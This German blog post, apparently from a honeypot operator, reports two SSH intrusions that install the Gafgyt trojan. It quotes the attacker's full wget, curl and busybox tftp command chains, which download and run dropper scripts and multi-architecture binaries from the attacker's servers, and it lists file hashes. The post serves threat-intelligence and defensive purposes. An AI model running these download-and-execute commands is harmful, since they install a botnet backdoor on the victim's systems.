Freundliches Hallo aus Russland

Heute gab es eine spannende Begegnung mit einem Angreifer aus Russland:

Verbindung: 185.103.109.70
Version: SSH-2.0-libssh2_1.4.2
Login: root / admin

Kaum war die Verbindung aufgebaut, ging es auch schon los:

cd /tmp;
wget hXXp://185.22.173.65/bins.sh
chmod +x bins.sh
chmod 777 *
sh bins.sh"

Die Datei „bins.sh“ dient als einfacher Dropper:

MD5: 18dd76f99d222bf2cb193a5cdb872e3d
SHA1: 4fdb0beaaa8db435d771ba9deb7c01afc3b5a2c3
SHA256: 07fe22f4b754d28efd62157f7ee6aa4c1f63dd21dac33c2b600e42cbabff6daf
Magic literal: ASCII text

Sobald die Datei gestartet wird, werden weitere Ressourcen vom selben Server heruntergeladen:

wget hXXp://185.22.173.65/snarmv6; chmod +x snarmv6; chmod 777 *; ./snarmv6
wget hXXp://185.22.173.65/snmips; chmod +x snmips; chmod 777 *; ./snmips
wget hXXp://185.22.173.65/snmipsel; chmod +x snmipsel; chmod 777 *; ./snmipsel
wget hXXp://185.22.173.65/snpowerpc; chmod +x snpowerpc; chmod 777 *; ./snpowerpc
wget hXXp://185.22.173.65/snsh4; chmod +x snsh4; chmod 777 *; ./snsh4
wget hXXp://185.22.173.65/snmyx86; chmod +x snmyx86; chmod 777 *; ./snmyx86
wget hXXp://185.22.173.65/vmp; chmod +x vmp; chmod 777 *; ./vmp

Hinter den einzelnen Dateien steht der Trojaner Gafgyt in verschiedene Versionen, welcher dem Angreifer auch als Backdoor dient:

snarmv6: 657d00724e41e5c40331f5eb925e56acf7c9dd3188b2c0a268623ed6e580a556
snmips: c8aa69c0d6e3399411cfae7c65b70bf8b1b0c099c80613a302e53b2d04d2be16
snmipsel: 0388e01fec61499e6d5cc7b3b2d88353886ae619d83c0d8ae633b1eb8684bf9a
snpowerpc: 5e0f5df89d6589f4f67ab5b051da388f48dcaa66d21a14562f23157c0f9b54f1
snsh4: 9922bada2c9dee8529da8482b66f35b7df415c5cc291e675c688fdfa0db131cc
snmyx86: 40f47ddda5ca8ceacd1ca9f4dd4e65fb5f6749d33c083ed6bf83aa7b861821f1
vmp: 17d5252c3c9d1d37340bf91a2e0eedcf24890858100b270f5386616669edf11e

Circa eine Stunde später, war der liebe Kollege aber schon wieder auf meinem System jedoch mit neuen Befehlen:

cd /tmp
wget hXXp://107.172.41.130/bins.sh || curl -O hXXp://107.172.41.130/bins.sh
chmod 777 bins.sh
sh bins.sh
busybox tftp 107.172.41.130 -c get tftp1.sh
chmod 777 tftp1.sh
sh tftp1.sh
busybox tftp -r tftp2.sh -g 107.172.41.130
chmod 777 tftp2.sh
sh tftp2.sh
rm -rf bins.sh tftp1.sh tftp2.sh

Diesmal hat sich auch der Dropper etwas verändert, scheint wohl Version 2.0 zu sein.

cd /tmp; wget hXXp://107.172.41.130/GHfjfgvj; chmod 777 GHfjfgvj; ./GHfjfgvj; rm -rf GHfjfgvj
cd /tmp; wget hXXp://107.172.41.130/JIPJIPJj; chmod 777 JIPJIPJj; ./JIPJIPJj; rm -rf JIPJIPJj
cd /tmp; wget hXXp://107.172.41.130/jhUOH; chmod 777 jhUOH; ./jhUOH; rm -rf jhUOH
cd /tmp; wget hXXp://107.172.41.130/RYrydry; chmod 777 RYrydry; ./RYrydry; rm -rf RYrydry
cd /tmp; wget hXXp://107.172.41.130/UYyuyioy; chmod 777 UYyuyioy; ./UYyuyioy; rm -rf UYyuyioy
cd /tmp; wget hXXp://107.172.41.130/XDzdfxzf; chmod 777 XDzdfxzf; ./XDzdfxzf; rm -rf XDzdfxzf
cd /tmp; wget hXXp://107.172.41.130/JIPJuipjh; chmod 777 JIPJuipjh; ./JIPJuipjh; rm -rf JIPJuipjh
cd /tmp; wget hXXp://107.172.41.130/DFhxdhdf; chmod 777 DFhxdhdf; ./DFhxdhdf; rm -rf DFhxdhdf
cd /tmp; wget hXXp://107.172.41.130/FDFDHFC; chmod 777 FDFDHFC; ./FDFDHFC; rm -rf FDFDHFC
cd /tmp; wget hXXp://107.172.41.130/FTUdftui; chmod 777 FTUdftui; ./FTUdftui; rm -rf FTUdftui

Hinter den einzelnen Files steht am Schluss aber immer noch der selbe Trojaner, somit nichts neues an dieser Front. Aber mal schauen, ob wir uns bald wieder sehen, vielleicht mit Version 3.0…

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.